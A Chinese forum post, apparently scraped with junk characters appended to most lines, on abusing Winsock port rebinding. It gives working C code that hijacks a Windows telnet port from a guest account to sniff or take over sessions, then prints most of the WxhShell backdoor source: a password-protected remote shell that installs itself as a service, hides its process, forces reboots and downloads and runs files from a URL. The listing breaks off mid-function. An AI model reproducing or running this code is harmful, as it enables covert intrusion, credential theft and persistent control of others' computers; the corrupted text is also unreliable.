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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `/HygC6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V >['~|  
_I8-0DnOM  
  saddr.sin_family = AF_INET; *kKGsy  
9txZ6/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ED?s[K  
sm_:M| [D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U!e4_JBR'  
W2<X 5'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I?fE=2}9  
:lE7v~!Z  
  这意味着什么?意味着可以进行如下的攻击: 3zl!x  
_p_F v>>:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3/[=  
#e|eWi>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iEU(1?m2-  
ze 4/XR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?BLOc;I&a  
26Yg?:kP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {^\-%3$  
Xs!eV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +$UfP(XmH  
'P~*cr ?A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4;*V^\',9  
|hdh4P$+|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J BwTmOvQ  
xJ"KR:CD>  
  #include {[s<\<~B*  
  #include cYp}$  
  #include Z ZiS$&NK8  
  #include    )`Fr*H3{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {$EXI]f  
  int main() I}q-J~s  
  { G` 8j ^H,  
  WORD wVersionRequested; r]E$uq bR  
  DWORD ret; c3}}cFe  
  WSADATA wsaData; )a}5\V  
  BOOL val; JJ+<?CeHD  
  SOCKADDR_IN saddr; [-CG&l2?L  
  SOCKADDR_IN scaddr; -0]aOT--  
  int err; g@U#Y#b@"  
  SOCKET s; o}%fs *  
  SOCKET sc; `j(+Y  
  int caddsize; T2->  
  HANDLE mt; asF- mf;D  
  DWORD tid;   <G&v  
  wVersionRequested = MAKEWORD( 2, 2 ); 869`jA &7"  
  err = WSAStartup( wVersionRequested, &wsaData ); c !;wp,c  
  if ( err != 0 ) { t/$xzsoJZr  
  printf("error!WSAStartup failed!\n"); YL. z|{\e  
  return -1; ;?[~]"  
  } n (|>7  
  saddr.sin_family = AF_INET; 5{5ABV  
   x'KsQlI/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OP&[5X+Y  
D!P?sq_5r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [yyV`&  
  saddr.sin_port = htons(23); o2|(0uN'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VsmL#@E  
  { +sI.GWQ_:  
  printf("error!socket failed!\n"); a(7ryl~c=  
  return -1; P$QjDu-  
  } x3P@AC$\  
  val = TRUE; _kd |:,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z\L@5.*ydE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H|Nw)*.  
  { "5YdmBy  
  printf("error!setsockopt failed!\n"); LBE".+  
  return -1; j"V$J8)[  
  } 35>}$1?-6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ocb2XEF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "h2Ny#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |]q=D1/A  
s6D-?G*u%8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H94.E|Q\+  
  { p3S c4  
  ret=GetLastError(); kmoJ`W} N  
  printf("error!bind failed!\n"); Z])_E 6.  
  return -1; 9,W-KM  
  } % n{W  
  listen(s,2); ${+.1"/[  
  while(1) ! lF^~x  
  { :qbG%_PJ  
  caddsize = sizeof(scaddr); 'l:2R,cP  
  //接受连接请求 J4vKfxEg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A1q^E(}O  
  if(sc!=INVALID_SOCKET) P&GZe/6Y  
  { #SYWAcTkO}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sfV.X:ev  
  if(mt==NULL) =l(JJ  
  { *p3P\ H^5  
  printf("Thread Creat Failed!\n"); SSXS  
  break; d0B+syl&4l  
  } eTc`FXw`  
  } v2{O67j} o  
  CloseHandle(mt); k~R[5W|'  
  } vo$66A  
  closesocket(s); /4?`F} 7)  
  WSACleanup(); /RM-+D:Y  
  return 0; W,~1KUTc  
  }   s2v*  
  DWORD WINAPI ClientThread(LPVOID lpParam) k~#|8eLv  
  { Q8x{V_Pot  
  SOCKET ss = (SOCKET)lpParam; a%!XLyq  
  SOCKET sc; ^{s0d+@{  
  unsigned char buf[4096]; `k&K"jA7$  
  SOCKADDR_IN saddr; l:eNu}{&  
  long num; KV_Ga8hs  
  DWORD val; @"8QG^q8de  
  DWORD ret; DKl7|zG4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uE j6A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J7GsNFL  
  saddr.sin_family = AF_INET; hBhkb ~Oky  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6\;1<Sw*  
  saddr.sin_port = htons(23); G C'%s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >#?: x*[  
  { :Y>] 6  
  printf("error!socket failed!\n"); 5@$4.BGcF  
  return -1; kDq%Y[6Z  
  } 3(+#^aw  
  val = 100; ?vFh)U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k_>{"Rc  
  { !h!9SE  
  ret = GetLastError(); n*~   
  return -1; ef&@aB  
  } %KF:- w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h<;[P?z  
  { ap^=CEf   
  ret = GetLastError(); Q ~JKKq  
  return -1; >8fH5  
  } 1omvE9 %zM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >UY_:cW4%m  
  { &.hRVW(  
  printf("error!socket connect failed!\n"); |"qB2.[  
  closesocket(sc); ~C'nBV  
  closesocket(ss); AJfi,rFPg  
  return -1; `uVW<z{ l  
  } k{jw%a<Sc  
  while(1) cl{W]4*$  
  { k_<{j0z.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X3{1DY3@u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~[TKVjyO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *"FLkC4  
  num = recv(ss,buf,4096,0); 2?iOB6  
  if(num>0) _M[[vXH  
  send(sc,buf,num,0); z L'IN)7MU  
  else if(num==0) %D(prA_w  
  break; ;&6PL]/d  
  num = recv(sc,buf,4096,0); jHlOP,kc  
  if(num>0) 7/_ VE  
  send(ss,buf,num,0); 'S7@+kJ  
  else if(num==0) \Z20fh2  
  break; F9P0cGDs  
  } 5w)^~#  '  
  closesocket(ss); 9jGuelwN  
  closesocket(sc); n/oipiYx  
  return 0 ; J xm9@,  
  } 07Q[L'}y@  
NcBe|qxQ  
^FM9} t/U,  
========================================================== yI.H4Dl<  
A;-z#R#V5  
下边附上一个代码,,WXhSHELL q'F_ j"  
yj'' \  
========================================================== 19 wqDIE0  
<ytKf<a%e  
#include "stdafx.h" nX\]i~  
;[%}Xx  
#include <stdio.h> }u_EXP8M  
#include <string.h> Pgw%SMEp  
#include <windows.h> LQ\ ELJj  
#include <winsock2.h> VnSj:LUD  
#include <winsvc.h> B9IXa;  
#include <urlmon.h> (GEi<\16[  
(1AA;)`Kp  
#pragma comment (lib, "Ws2_32.lib") hLbT\J`I  
#pragma comment (lib, "urlmon.lib")  zc/%1  
>Ug?O~-  
#define MAX_USER   100 // 最大客户端连接数 w<~<(5mM5;  
#define BUF_SOCK   200 // sock buffer &1E~ \8U  
#define KEY_BUFF   255 // 输入 buffer MIlCUk  
XDdcq]*|  
#define REBOOT     0   // 重启 O%K?l}e  
#define SHUTDOWN   1   // 关机 @=NVOJy}c  
e*2&s5 #RT  
#define DEF_PORT   5000 // 监听端口 \As oeeF  
HS6Imi  
#define REG_LEN     16   // 注册表键长度 NnLhJPh  
#define SVC_LEN     80   // NT服务名长度 .aismc`=  
y|;8:b32  
// 从dll定义API ?FV7|)f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dD^_^'i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j&[.2PW\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u1) TG "+0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W]D`f8r9  
{nPkb5xbW  
// wxhshell配置信息 u@bOEcxK  
struct WSCFG { =F %wlzF:  
  int ws_port;         // 监听端口 YKe0:cWc  
  char ws_passstr[REG_LEN]; // 口令 hGA!1a4 c  
  int ws_autoins;       // 安装标记, 1=yes 0=no < [S1_2b.t  
  char ws_regname[REG_LEN]; // 注册表键名 cl8_rt  
  char ws_svcname[REG_LEN]; // 服务名 &AQ;ze  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X4 }`>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sz|Y$,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g/ l0}%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \_gp50(3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]~\SR0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hr<7l C  
)-.Cne;n  
}; k?["F%)I  
fmnRUN=  
// default Wxhshell configuration ,"N3k(g  
struct WSCFG wscfg={DEF_PORT, W"-EC`nP  
    "xuhuanlingzhe", (I7&8$Zl  
    1, DO1 JPeIi  
    "Wxhshell", K/wiL69  
    "Wxhshell", X40la_[.  
            "WxhShell Service", hINnb7 o  
    "Wrsky Windows CmdShell Service", Q.9Ph ~  
    "Please Input Your Password: ", jTd4H)  
  1, S< EB&P  
  "http://www.wrsky.com/wxhshell.exe", uXQ7eXX  
  "Wxhshell.exe" I|F~HUzA"  
    }; 7O8V1Tt  
/OhaERv  
// 消息定义模块 XW UvP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R(2HY Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iM?I /\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2H?I'<NoC  
char *msg_ws_ext="\n\rExit."; Bbl)3$`,  
char *msg_ws_end="\n\rQuit."; PTzp;.  
char *msg_ws_boot="\n\rReboot..."; 'YZI>V*  
char *msg_ws_poff="\n\rShutdown..."; Y8J ;+h9  
char *msg_ws_down="\n\rSave to "; HzD>-f  
Sv7>IVC?@  
char *msg_ws_err="\n\rErr!"; 1H&?UP4=(  
char *msg_ws_ok="\n\rOK!"; `z-H]fU  
28T\@zi  
char ExeFile[MAX_PATH];  NVO9XK  
int nUser = 0; %A)-m 69  
HANDLE handles[MAX_USER]; oh7#cFZZ0  
int OsIsNt; nr<WO~Xw~  
bmj8WZ  
SERVICE_STATUS       serviceStatus; /<(*/P,>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y:g7'+c  
P Pwxk;  
// 函数声明 +  ZR(  
int Install(void); t$]&,ucW#  
int Uninstall(void); i{ t TUA  
int DownloadFile(char *sURL, SOCKET wsh); qJ{r!NJJ 8  
int Boot(int flag); ;[TljcbS  
void HideProc(void); 943I:, B  
int GetOsVer(void); ^8?j~&u$F  
int Wxhshell(SOCKET wsl); ="3a%\  
void TalkWithClient(void *cs); `a9k!3_L  
int CmdShell(SOCKET sock); [cGt  
int StartFromService(void); \LO_Nu9  
int StartWxhshell(LPSTR lpCmdLine); '2|1%NSW9  
r#_7]_3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *[d~Nk%Y$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); My]+?.Ru  
|8&-66pX  
// 数据结构和表定义 !X5o7b)  
SERVICE_TABLE_ENTRY DispatchTable[] = nB cp7e  
{ ";wyNpb(  
{wscfg.ws_svcname, NTServiceMain}, 2 ) TG  
{NULL, NULL} $ZQl IJZ  
}; j~,h )C/ v  
GB&Nt{  
// 自我安装 4R& *&GZ#  
int Install(void) )u39}dpeu  
{ <@u0.-]  
  char svExeFile[MAX_PATH]; 5TXg;v#Z  
  HKEY key; Sk8%(JD7  
  strcpy(svExeFile,ExeFile); -W|*fKN`3  
%B#hb<7}  
// 如果是win9x系统,修改注册表设为自启动 Z |2E b*  
if(!OsIsNt) { 'RDWU7c9]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'R^iKNPs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]s*5[ =uc2  
  RegCloseKey(key); b%Wd<N2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YHs?QsP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5a=nF9/  
  RegCloseKey(key); t{_!Z(Rt5)  
  return 0; "DVt3E  
    } g~~m' ^  
  } N=>- Q)  
} Q,zC_  
else { yB-.sGu  
n=f`AmF;  
// 如果是NT以上系统,安装为系统服务 >$2E1HW.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |'ZN!2u  
if (schSCManager!=0) _ymJ~MK  
{ IYuyj(/!  
  SC_HANDLE schService = CreateService (N,nux(0k  
  ( fph-v-cl  
  schSCManager, e Wc_N  
  wscfg.ws_svcname, y7CWBTH0>  
  wscfg.ws_svcdisp, 5B}3GBA  
  SERVICE_ALL_ACCESS, ( FM4 ^#6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @q,)fBZq  
  SERVICE_AUTO_START, Q 2*/`L}m\  
  SERVICE_ERROR_NORMAL, N1PECLS?  
  svExeFile, O x{Q.l  
  NULL, |kId8WtA  
  NULL, q#;BhPc  
  NULL, :FnOS<_B  
  NULL, LFCTr/,  
  NULL 2bWUa~%B  
  ); -r!42`S  
  if (schService!=0) 7nm}fT z7  
  { &kb\,mQ  
  CloseServiceHandle(schService); Q`N18I3  
  CloseServiceHandle(schSCManager); $9G3LgcS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O'fk&&l  
  strcat(svExeFile,wscfg.ws_svcname); ;U |NmC+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e[s5N:IUd3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z*9L'd"D|  
  RegCloseKey(key); f7Yz>To  
  return 0; 8fnR1mWG  
    } pP3U,n   
  } iu +3,]7Fm  
  CloseServiceHandle(schSCManager); 3a'q`.L  
} a~WqUL  
} G OpjRA@  
Po> e kz_E  
return 1; jM*AL X  
} T0r<O_ubOA  
n<E.Em1  
// 自我卸载 pL~=Z?(B  
int Uninstall(void) VO9XkA7  
{ sD2 ^_w6j  
  HKEY key; (s0 88O  
[G\o+D?2  
if(!OsIsNt) { =:4?>2)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N*f^Z#B]  
  RegDeleteValue(key,wscfg.ws_regname); Rxx>{+f4M  
  RegCloseKey(key);  *. 8JP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?!H)zz6y  
  RegDeleteValue(key,wscfg.ws_regname); 9/G!0uE  
  RegCloseKey(key); YX_vv!-]  
  return 0; A]j}'  
  } zHV|-R  
} L%f;J/  
} )U'yUUi  
else { IdF$Ml#[h  
!Vb,zQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C,.-Q"juH  
if (schSCManager!=0) HM):"  
{ @m?{80;uQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >{QdMn  
  if (schService!=0) ' X}7]y  
  { @LcT-3u  
  if(DeleteService(schService)!=0) { qp\BV#E  
  CloseServiceHandle(schService); WKxm9y V  
  CloseServiceHandle(schSCManager); ` VwN!B:  
  return 0; q@%h^9.  
  } QhCY}Q?X  
  CloseServiceHandle(schService); _-/x;C  
  } r sLc&2F  
  CloseServiceHandle(schSCManager); W<Z$YWr  
} @HvScg*Y  
} d5:tSO  
K@6`-|I  
return 1; dnwdFsf  
} O4E(R?wd  
l~['[Ub0)  
// 从指定url下载文件 YN^T$,*  
int DownloadFile(char *sURL, SOCKET wsh) ?gN9kd)  
{ R4SxFp  
  HRESULT hr; _jmkl B  
char seps[]= "/"; "7d.i(vw  
char *token; a1|c2kT  
char *file; .uKx>YB}  
char myURL[MAX_PATH]; EI\v  
char myFILE[MAX_PATH];  g#qNHR  
P_}/#N{C  
strcpy(myURL,sURL); 7b46t2W<  
  token=strtok(myURL,seps); y:,9I` aW  
  while(token!=NULL) 8?1o<8hV  
  { Mn@$;\:  
    file=token; 5>P7]?U.]  
  token=strtok(NULL,seps); wyzOcx>M  
  }  uB;_vC  
sMm/4AY]  
GetCurrentDirectory(MAX_PATH,myFILE); 7@IFp~6<qK  
strcat(myFILE, "\\"); -w~(3(  
strcat(myFILE, file); Q&PB]D{  
  send(wsh,myFILE,strlen(myFILE),0); MRs,l'  
send(wsh,"...",3,0); sPy2/7Wqd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _88QgThb  
  if(hr==S_OK) Y\p $SN  
return 0; FsY(02  
else bDWeU}  
return 1; f05=Mc&)  
x'qWM/  
} -`Q}tg>cT  
?'w sIH]m  
// 系统电源模块 Vho0e V=  
int Boot(int flag) 30_ckMG"g  
{ |s f*hlrJ  
  HANDLE hToken; |l7%l&!  
  TOKEN_PRIVILEGES tkp; %b =p< h'(  
8*s7m   
  if(OsIsNt) { %iJ|H(P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *,lh:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ax_YKJ5#P  
    tkp.PrivilegeCount = 1; \QT9HAdd@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8;#AO8+U7)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [@3SfQ  
if(flag==REBOOT) { "OL~ul5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X>t3|h  
  return 0; 9P.(^SD][z  
} Z>2]Xx% \  
else { HabzCH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @Tr&`Hi  
  return 0; M3(k'q7&:  
} T4r5s  
  } NR4Jn?l{  
  else { ~+HoSXu@E  
if(flag==REBOOT) { #)] c0]p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uo6(|mm  
  return 0; qVBL>9O*.  
} *Hs*,}MS  
else { e g3L:rk_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2+'|kt2  
  return 0; ,J(lJ,c  
} 2*u.3,aW  
} hD q2-X}  
-e ml  
return 1; g1 9S  
} #3 bv3m  
3taa^e.  
// win9x进程隐藏模块 3SNL5  
void HideProc(void) a2yE:16o6  
{ NfwYDY  
wqy ^8N[K]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %{C)1*M7  
  if ( hKernel != NULL ) >SDp uG&>  
  { f^9&WT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PZ,z15PG]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VVuR+=.&  
    FreeLibrary(hKernel); i8~ r  
  } JE!("]&  
c+2%rh1  
return; %idk@~HCg  
} 0@pu@DP~  
hz\WZ^  
// 获取操作系统版本 l6 7KJ  
int GetOsVer(void) i-lKdpv  
{ KDey(DN:  
  OSVERSIONINFO winfo; /IR#A%U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +\`rmI  
  GetVersionEx(&winfo); 6GINmkA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6t}XJB$+7  
  return 1; q*8lnk  
  else 6I|A- h  
  return 0; J%Mnjk^_\S  
} 'RTtE  
QCpM|,drS  
// 客户端句柄模块 ;h~er6&   
int Wxhshell(SOCKET wsl) V1<`%=%_W  
{ +a$|Sc  
  SOCKET wsh; X:=c5*0e  
  struct sockaddr_in client; 2o5;Uz1{  
  DWORD myID; }1QF+C f  
;7rv  
  while(nUser<MAX_USER) 6G_<2bO  
{ u7=T(4a  
  int nSize=sizeof(client); S " pI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @-"R$HOT  
  if(wsh==INVALID_SOCKET) return 1; `.^ |]|u  
<KQ(c`KW7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m 22wF>9  
if(handles[nUser]==0) +K{LQsR]  
  closesocket(wsh); K)[8 H~Lm  
else G/{ ~_&t  
  nUser++; NK/4OAt%  
  } S_Z`so}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C;qMw-*F  
$<w)j!  
  return 0; =u|~ <zQw  
} 9DE)S)e8  
$1 @,Qor  
// 关闭 socket T bf:eVIG  
void CloseIt(SOCKET wsh) $j*Qo/x d  
{ tcL2J.  
closesocket(wsh); :"'nK6>  
nUser--; Zdn!qyR`  
ExitThread(0); h-mTj3p-K  
} O4Dr ]Xc]  
~<r i97)  
// 客户端请求句柄 g}Q x`65:  
void TalkWithClient(void *cs) 4~|<` vqN  
{ 36$[   
&s VadOBQ  
  SOCKET wsh=(SOCKET)cs; KCtX $XGL  
  char pwd[SVC_LEN]; &; >4N"]  
  char cmd[KEY_BUFF]; BSzkW}3q9  
char chr[1]; qO()w   
int i,j; {-WTV"L5*2  
lhPGE_\  
  while (nUser < MAX_USER) { P(ZQDTbM :  
(|u31[  
if(wscfg.ws_passstr) { .  /m hu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (3%t+aqq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u$\a3yi  
  //ZeroMemory(pwd,KEY_BUFF); -:`V<   
      i=0; |~e?,[-2`r  
  while(i<SVC_LEN) { ]P1YHw9  
`9 [i79U  
  // 设置超时 'uC59X4l  
  fd_set FdRead; !O)qYmK]|  
  struct timeval TimeOut; y0IK,W'&?  
  FD_ZERO(&FdRead); $[(d X!]F  
  FD_SET(wsh,&FdRead); ?L|yaC~  
  TimeOut.tv_sec=8; +AI`R`Tm  
  TimeOut.tv_usec=0; 0I%: BT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `ROG~0lN(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <avQR9'&  
h-XY4gq/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NFyMY#\]  
  pwd=chr[0]; >K:u ?YD[  
  if(chr[0]==0xd || chr[0]==0xa) { 4#BRx#\O  
  pwd=0; m<@z}%v-  
  break; =`t^~.5  
  } ]QrR1Rg  
  i++; GYK\LHCPd  
    } JN[0L:  
.v])S}K  
  // 如果是非法用户,关闭 socket _\zQ"y|G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PT_KXk  
} w^;DG  
o`?zF+M0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OJ3UE(,I=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sb.J bE8  
Eipp ~GD  
while(1) { "wM1qX  
>^SEWZ_[  
  ZeroMemory(cmd,KEY_BUFF); 9&  
#oV+@D`  
      // 自动支持客户端 telnet标准   p'Bm8=AwD  
  j=0; ~W{-Q.  
  while(j<KEY_BUFF) { Q5n`F5   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bToq$%sCg  
  cmd[j]=chr[0]; wCb(>pL0  
  if(chr[0]==0xa || chr[0]==0xd) { f[jN wb  
  cmd[j]=0; 4Z5#F]OA7  
  break; \b8\Ug~t  
  }  .i/m  
  j++; ht6244:  
    } vg\/DbI'  
`_qK&&s  
  // 下载文件 wAF,H8 -DK  
  if(strstr(cmd,"http://")) { jRQ+2@n{E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mTf<  
  if(DownloadFile(cmd,wsh)) 9M-K]0S(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); erFv(eaDK  
  else (! KG)!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;ojiJ ?jU  
  } ]<trA$ 0  
  else { Vxdp|  
q=5l4|1  
    switch(cmd[0]) { ?<%=: Yh  
  j]5WK_~M  
  // 帮助 ZFxLBb:  
  case '?': { EX "|H.(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,YLF+^w-  
    break; P+(i^=S  
  } uA~slS Z  
  // 安装 B3 zk(RNZ  
  case 'i': { :1aL ?  
    if(Install()) Poy^RpnX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +4)7j&L  
    else p EusTP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qx)?buAij  
    break; _8fA?q=  
    } JK)qZ=  
  // 卸载 QMp r v*i  
  case 'r': { (q;bg1\UK  
    if(Uninstall()) ^k/i-%k0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hYg'2OG  
    else r o\1]`6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /@YCA}|/  
    break; J"CJYuGW,  
    } <"tDAx  
  // 显示 wxhshell 所在路径 WlVl[/qt  
  case 'p': { pGGmA;TC1  
    char svExeFile[MAX_PATH]; ?S[Y:<R{:  
    strcpy(svExeFile,"\n\r"); QU5Sy oL[  
      strcat(svExeFile,ExeFile); 1~yZ T  
        send(wsh,svExeFile,strlen(svExeFile),0); #1/}3+=5B  
    break; gNj7@bX~  
    } SN Y (*  
  // 重启 $dg9z}D  
  case 'b': { Z~u9VYi!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uO(w1Q"^  
    if(Boot(REBOOT)) B!S167Op  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )u} Q:`9  
    else { H Sz" tN  
    closesocket(wsh); (?i[jO||B  
    ExitThread(0); FfFak@H  
    } +l 0g`:  
    break; 93Yn`Av;  
    } SaDA`JmO  
  // 关机 k$7Z^~?Fz  
  case 'd': { T0QvnIaP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PlxIf  L  
    if(Boot(SHUTDOWN)) "&o,yd%  
